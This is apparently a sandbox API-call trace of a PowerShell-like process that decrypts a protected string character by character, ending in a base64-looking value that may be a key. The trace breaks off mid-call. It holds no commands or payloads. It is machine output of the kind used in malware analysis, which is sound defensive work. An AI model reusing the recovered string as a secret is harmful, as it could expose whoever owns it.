[0201.965] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘煗蔠ࡗ\飛⇷≪) returned 0x10 [0201.965] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘煗蔠ࡗ\飛⇷≪) returned 0x10 [0201.966] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.966] SysStringLen (param_1="ELYVBTswNhႴꟍ棚ꫠ彨箣") returned 0x10 [0201.966] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.966] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘戏റ寋斄縷ᵠ콃") returned 0x10 [0201.966] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘戏റ寋斄縷ᵠ콃") returned 0x10 [0201.966] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.966] SysStringLen (param_1="ELYVBTswNh2ꟍ棚ꫠ彨箣") returned 0x10 [0201.966] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.966] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘˻ວ䖃ꅇᤅ䷙ڼ") returned 0x10 [0201.966] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘˻ວ䖃ꅇᤅ䷙ڼ") returned 0x10 [0201.966] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.967] SysStringLen (param_1="ELYVBTswNh2g棚ꫠ彨箣") returned 0x10 [0201.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.967] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘妶망㾨ꈞϷ낕䉉䏕") returned 0x10 [0201.967] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘妶망㾨ꈞϷ낕䉉䏕") returned 0x10 [0201.967] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.967] SysStringLen (param_1="ELYVBTswNh2gEꫠ彨箣") returned 0x10 [0201.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.967] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ꥍ狶칈曲辇矺") returned 0x10 [0201.967] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ꥍ狶칈曲辇矺") returned 0x10 [0201.967] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.967] SysStringLen (param_1="ELYVBTswNh2gER彨箣") returned 0x10 [0201.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.968] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘࿣쪉ꧦ튝객䙋솧拯") returned 0x10 [0201.968] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘࿣쪉ꧦ튝객䙋솧拯") returned 0x10 [0201.968] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.968] SysStringLen (param_1="ELYVBTswNh2gERg箣") returned 0x10 [0201.968] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.968] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘愣嚕ක④啱䀯ݒ؅") returned 0x10 [0201.968] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘愣嚕ක④啱䀯ݒ؅") returned 0x10 [0201.968] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.968] SysStringLen (param_1="ELYVBTswNh2gERgy") returned 0x10 [0201.968] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.968] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀") returned 0x10 [0201.969] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀") returned 0x10 [0201.969] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀") returned 0x10 [0201.969] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀") returned 0x18 [0202.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.107] SysStringLen (param_1="ELYVBTswNh2gERgyf⟅侎嚍\郛䢿∷) returned 0x18 [0202.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.107] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀끳䂺℞ꕨ굁䓙㈇ꀯ") returned 0x18 [0202.107] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀끳䂺℞ꕨ굁䓙㈇ꀯ") returned 0x18 [0202.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.108] SysStringLen (param_1="ELYVBTswNh2gERgyfP侎嚍\郛䢿∷) returned 0x18 [0202.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.108] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀ス㛎/ᢉ瑺⏜") returned 0x18 [0202.108] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀ス㛎/ᢉ瑺⏜") returned 0x18 [0202.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.108] SysStringLen (param_1="ELYVBTswNh2gERgyfPs嚍\郛䢿∷) returned 0x18 [0202.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.108] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀鱸쬼∨ᦡㄣ碫읪") returned 0x18 [0202.108] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀鱸쬼∨ᦡㄣ碫읪") returned 0x18 [0202.109] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.109] SysStringLen (param_1="ELYVBTswNh2gERgyfPsM\郛䢿∷) returned 0x18 [0202.109] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.109] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀谴녣쨘㌻쥍鮢떆᛿") returned 0x18 [0202.109] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀谴녣쨘㌻쥍鮢떆᛿") returned 0x18 [0202.109] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.109] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMz纐뿱㝈") returned 0x18 [0202.109] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.109] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀ퟞ㎎઼㑉飝겶㙴듣") returned 0x18 [0202.110] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀ퟞ㎎઼㑉飝겶㙴듣") returned 0x18 [0202.110] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.110] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzy뿱㝈") returned 0x18 [0202.110] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.110] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀⅚᪪ꆷ厕龒ᨊ쿕") returned 0x18 [0202.110] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀⅚᪪ꆷ厕龒ᨊ쿕") returned 0x18 [0202.110] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.110] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyU㝈") returned 0x18 [0202.110] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.110] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀횵㎩骑萘朗둓Ꜭꘘ") returned 0x18 [0202.111] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀횵㎩骑萘朗둓Ꜭꘘ") returned 0x18 [0202.111] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.111] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUv") returned 0x18 [0202.111] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.111] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶") returned 0x18 [0202.111] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶") returned 0x18 [0202.111] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶") returned 0x18 [0202.112] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶") returned 0x20 [0202.112] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.112] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvX㬝쏀℅艹Ą蟍") returned 0x20 [0202.112] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.112] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶㨏㊡趓碹鑔\x07龈塚") returned 0x20 [0202.112] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶㨏㊡趓碹鑔\x07龈塚") returned 0x20 [0202.112] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.112] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj쏀℅艹Ą蟍") returned 0x20 [0202.112] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.113] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶귍宦ꯆ껱謟셛餿규") returned 0x20 [0202.113] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶귍宦ꯆ껱謟셛餿규") returned 0x20 [0202.113] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.113] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8℅艹Ą蟍") returned 0x20 [0202.113] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.113] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶扴㬄\ӛ٥ﮔƍ∯) returned 0x20 [0202.113] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶扴㬄\ӛ٥ﮔƍ∯) returned 0x20 [0202.113] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.113] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8k艹Ą蟍") returned 0x20 [0202.113] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.114] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶磺봀쉇翷䷼첼몛") returned 0x20 [0202.114] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶磺봀쉇翷䷼첼몛") returned 0x20 [0202.114] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.114] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knĄ蟍") returned 0x20 [0202.114] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.114] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶餔ꭢ똅튛ꊗ⩕싴") returned 0x20 [0202.114] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶餔ꭢ똅튛ꊗ⩕싴") returned 0x20 [0202.114] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.114] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knU蟍") returned 0x20 [0202.114] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.115] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶䜫ཹୀ佩럒㏦﹟") returned 0x20 [0202.115] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶䜫ཹୀ佩럒㏦﹟") returned 0x20 [0202.115] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.115] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUi蟍") returned 0x20 [0202.115] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.115] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶藁쌭ꙝꦭ┍ᡖ") returned 0x20 [0202.115] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶藁쌭ꙝꦭ┍ᡖ") returned 0x20 [0202.115] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.115] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix") returned 0x20 [0202.116] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.116] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹") returned 0x20 [0202.116] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹") returned 0x20 [0202.116] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹") returned 0x20 [0202.116] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹") returned 0x28 [0202.116] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.116] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7碔ᓅ㛇┒嘺朂") returned 0x28 [0202.116] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.117] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹얋⣏ﱌ\식悸꺟∼) returned 0x28 [0202.117] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹얋⣏ﱌ\식悸꺟∼) returned 0x28 [0202.117] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.117] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7Xᓅ㛇┒嘺朂") returned 0x28 [0202.117] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.117] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹그㦮〆⅘㌦橚㐟御") returned 0x28 [0202.117] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹그㦮〆⅘㌦橚㐟御") returned 0x28 [0202.117] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.117] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7Xx㛇┒嘺朂") returned 0x28 [0202.118] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.118] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹噃შ蚙囶煖떘쉅Ũ") returned 0x28 [0202.118] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹噃შ蚙囶煖떘쉅Ũ") returned 0x28 [0202.118] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.118] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7Xxa┒嘺朂") returned 0x28 [0202.118] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.118] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹⚦齰䯮橚即引᪦❀") returned 0x28 [0202.118] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹⚦齰䯮橚即引᪦❀") returned 0x28 [0202.118] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.118] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJ嘺朂") returned 0x28 [0202.119] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.119] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹넽ಪ㊌异ꚑ葝") returned 0x28 [0202.119] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹넽ಪ㊌异ꚑ葝") returned 0x28 [0202.119] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.119] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJy嘺朂") returned 0x28 [0202.119] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.119] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹外๭ꩿ퍊ᯗ雨缳") returned 0x28 [0202.119] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹外๭ꩿ퍊ᯗ雨缳") returned 0x28 [0202.119] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.119] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyE朂") returned 0x28 [0202.120] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.120] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹忬펞笺氋氠嬟Ƿ") returned 0x28 [0202.120] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹忬펞笺氋氠嬟Ƿ") returned 0x28 [0202.120] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.120] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyEY") returned 0x28 [0202.120] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.120] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻≴) returned 0x28 [0202.121] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻≴) returned 0x28 [0202.121] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻≴) returned 0x28 [0202.121] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻≴) returned 0x30 [0202.121] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.121] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyEYs䌺ⓔ拁籛ꑮࠃ륹") returned 0x30 [0202.121] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.121] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻煴ᔌꃠ腮弟㙑ᚼ⊠) returned 0x30 [0202.121] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻煴ᔌꃠ腮弟㙑ᚼ⊠) returned 0x30 [0202.121] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.121] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyEYsXⓔ拁籛ꑮࠃ륹") returned 0x30 [0202.122] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.122] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻ၴ㲙쌅듘婒♾∛) returned 0x30 [0202.122] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻ၴ㲙쌅듘婒♾∛) returned 0x30 [0202.122] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.122] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyEYsXI拁籛ꑮࠃ륹") returned 0x30 [0202.122] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.122] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻ⱴ꥓叡玬謷挣෨蕉∋) returned 0x30 [0202.122] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘ᵗὐ㣧倲죯첂侀䐫Έ뒩鯋熲띻鑪䫶晎䀁掬谉껽儣╉꨹吞箯厽\듘ᇷ瀒䉻ⱴ꥓叡玬謷挣෨蕉∋) returned 0x30 [0202.122] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.122] SysStringLen (param_1="ELYVBTswNh2gERgyfPsMzyUvXj8knUix7XxaJyEYsXI=籛ꑮࠃ륹") returned 0x30 [0202.123] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0202.123] EtwEventActivityIdControl () returned 0x0 [0202.123] EtwEventActivityIdControl () returned 0x0 [0202.123] EtwEventActivityIdControl () returned 0x0 [0202.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: 